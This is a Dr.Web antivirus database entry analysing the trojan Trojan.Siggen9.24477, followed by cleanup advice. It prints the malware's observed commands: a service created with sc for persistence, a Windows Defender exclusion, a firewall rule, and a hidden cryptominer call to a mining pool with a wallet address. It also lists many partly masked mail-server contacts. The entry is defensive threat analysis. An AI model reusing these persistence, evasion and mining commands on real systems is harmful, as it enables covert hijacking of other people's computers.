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Trojan.Siggen9.24477

Added to the Dr.Web virus database: 2020-03-23

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\rthfilzf] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\rthfilzf] 'ImagePath' = '%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\rthfilzf] 'ImagePath' = '%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\rthfilzf' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\arzxhcjx.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\arzxhcjx.exe to %WINDIR%\syswow64\rthfilzf\arzxhcjx.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • '18#.#65.238.150':420
  • 'mx###.##il.am0.yahoodns.net':25
  • '17#.#.114.177':420
  • '46.#.52.109':420
  • '93.##9.69.109':420
  • '46.#8.66.2':420
  • 'ho#########.olc.protection.outlook.com':25
  • 'mx###.##erycloudtech.com':25
  • 'cs#####.csi.cuny.edu':25
  • 'ba######a.conquertheweb.com':25
  • 'alt2.aspmx.l.google.com':25
  • 'cd#.##rpemail.net':25
  • 'mx#.##ailsrvr.com':25
  • 'ye######.mxmail.netease.com':25
  • 'mx#.##rthlink.net':25
  • '78.#1.67.23':420
  • 'li######.#lc.protection.outlook.com':25
  • 'mx#.###.#ailpod8-cph3.one.com':25
  • 'na#######.#ail.protection.outlook.com':25
  • '85.##4.134.88':484
  • 'mi####.bittubeapp.com':13333
  • 'we#####01.geektoast.com':25
  • 'mt##.##0.yahoodns.net':25
  • 'alt2.gmail-smtp-in.l.google.com':25
  • 'aspmx.l.google.com':25
  • 'ALT1.ASPMX.L.GOOGLE.COM':25
  • 'ma##.pita.co.uk':25
  • 'mx.###mexperts.com':25
  • 'ma##.###tedwayplains.org':25
  • 'pl#######x.com.c2.mx1.ik2.com':25
  • 'mx#.##tsolmail.net':25
  • 'bi##########k.mail.protection.outlook.com':25
  • 'sm##.##scmail.wisc.edu':25
  • 'ms#####.##c.protection.outlook.com':25
  • 'd7#####.##s.barracudanetworks.com':25
  • 'sm##.##itedwayrrv.org':25
  • 'd2#####.#.#ss.uk.barracudanetworks.com':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK ma##.#si.cuny.edu
    • DNS ASK mx#.#mpal.com
    • DNS ASK em##l.com
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK ho##ail.com
    • DNS ASK ox#.edu
    • DNS ASK bc####s04.cuny.edu
    • DNS ASK bc#.#uny.edu
    • DNS ASK google.com
    • DNS ASK li######.#lc.protection.outlook.com
    • DNS ASK li##.com
    • DNS ASK la###ette.edu
    • DNS ASK in#####dentsservice.com
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK mx#.###.#ailpod8-cph3.one.com
    • DNS ASK th##sen.dk
    • DNS ASK mx####1.stofanet.dk
    • DNS ASK st##anet.dk
    • DNS ASK sm###.rjf.com
    • DNS ASK ra####djames.com
    • DNS ASK sm##.##itedwayrrv.org
    • DNS ASK un####wayrrv.org
    • DNS ASK mx##.#indstream.net
    • DNS ASK de##zzd.com
    • DNS ASK mx.###mexperts.com
    • DNS ASK ja##alk.com
    • DNS ASK ya##o.de
    • DNS ASK d7#####.##s.barracudanetworks.com
    • DNS ASK cs#####.csi.cuny.edu
    • DNS ASK ar#####cture.wustl.edu
    • DNS ASK d2#####.#.#ss.uk.barracudanetworks.com
    • DNS ASK th###ange.com
    • DNS ASK tc###7.spb.edu
    • DNS ASK mx###.##erycloudtech.com
    • DNS ASK th####ndvenue.co.uk
    • DNS ASK mx#.##rthlink.net
    • DNS ASK ea###link.com
    • DNS ASK ao#.###ts.princeton.edu
    • DNS ASK sp####.princeton.edu
    • DNS ASK th####ndseason.com
    • DNS ASK mx#.##ailsrvr.com
    • DNS ASK es###ees.com
    • DNS ASK ba######a.conquertheweb.com
    • DNS ASK th#####dmajestic.com
    • DNS ASK ye######.mxmail.netease.com
    • DNS ASK ye##.net
    • DNS ASK mx##.mail.com
    • DNS ASK us#.com
    • DNS ASK ps##.usm.edu
    • DNS ASK au###ypt.edu
    • DNS ASK mx.####o.locaweb.com.br
    • DNS ASK gl##o.com
    • DNS ASK d1######.#ss.barracudanetworks.com
    • DNS ASK un####roofing.com
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK th#####mlistener.com
    • DNS ASK ya##o.co.uk
    • DNS ASK ms#####.##c.protection.outlook.com
    • DNS ASK ms#.com
    • DNS ASK sm####n.orange.fr
    • DNS ASK na##us.dk
    • DNS ASK mx.##t.duke.edu
    • DNS ASK du##.edu
    • DNS ASK mx##.##tzenitmail.dk
    • DNS ASK it.dk
    • DNS ASK aspmx.l.google.com
    • DNS ASK ta##er.net
    • DNS ASK mx#.#omcast.net
    • DNS ASK co##ast.net
    • DNS ASK ya##o.ca
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK pi##.co.uk
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK ALT1.ASPMX.L.GOOGLE.COM
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK dw#.net
    • DNS ASK we#####01.geektoast.com
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK un####ynetwork.com
    • DNS ASK alt2.gmail-smtp-in.l.google.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK gm##l.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK ya##o.com
    • DNS ASK ma##.pita.co.uk
    • DNS ASK na#######.#ail.protection.outlook.com
    • DNS ASK sk##ekom.dk
    • DNS ASK wa##doo.fr
    • DNS ASK pl#######x.com.c2.mx1.ik2.com
    • DNS ASK al#######dk.mx1.mailanyone.net
    • DNS ASK al##rand.dk
    • DNS ASK cd#.##rpemail.net
    • DNS ASK la###ind.com
    • DNS ASK sm##.##scmail.wisc.edu
    • DNS ASK wi##.edu
    • DNS ASK dc######c9927b7.wanadoo.dk
    • DNS ASK wa##doo.dk
    • DNS ASK bi##########k.mail.protection.outlook.com
    • DNS ASK bi###gy.au.dk
    • DNS ASK mx#.##tsolmail.net
    • DNS ASK lo####arglass.com
    • DNS ASK pl###tamex.com
    • DNS ASK on#.lt
    • DNS ASK mx#.##stinger.com
    • DNS ASK he####greligion.com
    • DNS ASK mx#######c01.gslb.pphosted.com
    • DNS ASK ea###ink.com
    • DNS ASK tn#####gw-03.telenor.no
    • DNS ASK ca###digital.dk
    • DNS ASK ma##.###tedwayplains.org
    • DNS ASK un####wayplains.org
    • DNS ASK st##ling.dk
    • DNS ASK mx#.#itnet.dk
    • DNS ASK uv#.dk
    • DNS ASK ma###.one.lt
    • DNS ASK ro####o.uofs.edu
    • DNS ASK se####.scranton.edu
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\rthfilzf\arzxhcjx.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rthfilzf\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\arzxhcjx.exe" %WINDIR%\SysWOW64\rthfilzf\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create rthfilzf binPath= "%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description rthfilzf "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start rthfilzf' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rthfilzf\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\arzxhcjx.exe" %WINDIR%\SysWOW64\rthfilzf\
    • '%WINDIR%\syswow64\sc.exe' create rthfilzf binPath= "%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description rthfilzf "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start rthfilzf
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

    Find out more about Dr.Web for Android

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